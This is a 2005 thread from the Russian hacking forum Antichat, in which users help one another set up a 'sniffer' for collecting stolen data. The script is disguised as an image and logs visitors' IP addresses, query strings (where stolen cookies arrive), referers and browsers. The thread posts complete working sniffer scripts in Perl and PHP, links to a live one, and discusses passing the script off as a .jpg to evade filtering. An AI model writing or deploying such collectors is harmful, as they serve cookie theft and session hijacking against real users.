Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Все тот же сниффер. (https://forum.antichat.xyz/showthread.php?t=5276)

Zingara 01.03.2005 04:49

Все тот же сниффер.
 
Господа!

Раз из - за глюка все сообщения пропали, то повторно прошу о помощи... Помогите пожалуйста правильно подписаться на сниффер, чтобы на мыло приходили логи!

Слёзно вас молю!

a33 01.03.2005 16:48

вот те ссылка на твой рабочий сниффер: http://a2systems.fatal.ru/logo/log.html

KEZ 01.03.2005 16:52

На web-hack вроде ещё есть.
МНЕ ЛИЧНО ПРИХОДЯТ ЛОГИ с античатовского снифера

rsha1988 01.03.2005 21:39

Цитата:

Сообщение от a33
вот те ссылка на твой рабочий сниффер: http://a2systems.fatal.ru/logo/log.html

Слушай, скажи как ты сниффер установил?
Пробывал на фатале и не фига не вышла (на другом хосте тож пробывал).
Или это не рабочий сниффер?:

Код:

#!/usr/bin/perl

#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=50;

#делаем редирект на картинку
print "Location: image.gif\n\n";

#читаем CGI запрос
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

#получаем время запроса и HTTP_REFERER
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};

#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);

#открываем на запись лог
open (LOG, ">$LogFile");

#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";

#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};

#закрываем лог
close (LOG);

exit;

:confused:

(-=util=-) 01.03.2005 22:21

как я уже сам убедился снифер на бесплатном хостинге практически бесполезен. Только рефери ты сможешь найти это раз.... Два это то чно снифер лучше делать на php... вроде мароки меньше. может я и неправ. могу дать рабочий снифер на php исходник свой....

KEZ 01.03.2005 22:26

Только как ты не бесплатном хостинге заставиш апач передавать управление php (или perl) для расширения jpg. А если НЕ маскировать под картинку то смысла нет... ИМХО фильтрация работает

rsha1988 01.03.2005 22:33

Цитата:

Сообщение от (-=util=-)
могу дать рабочий снифер на php исходник свой....

Давай!

rsha1988 01.03.2005 22:35

У меня и платный хост есть и вот что мне там пишет:

Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, webmaster@ and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

(-=util=-) 01.03.2005 23:07

rsha1988 вот лови... то что у меня получилось... может пригодится... :)
PHP код:

<?php
$date
=date("[D|d/m/Y|H:i]");
$ip=$_SERVER["REMOTE_ADDR"];
$query=$_SERVER["QUERY_STRING"];
$real_ip=getenv("HTTP_X_FORWARDED_FOR");
$otkuda=getenv("HTTP_REFERER");
$browser=getenv("HTTP_USER_AGENT");
$win=getenv("windir");
$fp=fopen("log.html","a");
fputs($fp,"<font color=#009900><b>Date:</b> $date</font>\t|$uid|\t<font color=red><b>IP:</b> $ip <b>Real IP(if use proxy):</b>($real_ip)</font><br>\t$query\t$browser\t$otkuda\t$win\n<hr color=#666666>");
fclose($fp);
print (
" <img src='2.jpg'> ");
?>

В каталог со снифером брось картинку 2.jpg
Лог будет в файле
log.html

KEZ 01.03.2005 23:14

И что ты думаеш, сервак ее будет компилировать как php?
Он просто передаст содержимое браузеру!


Время: 23:20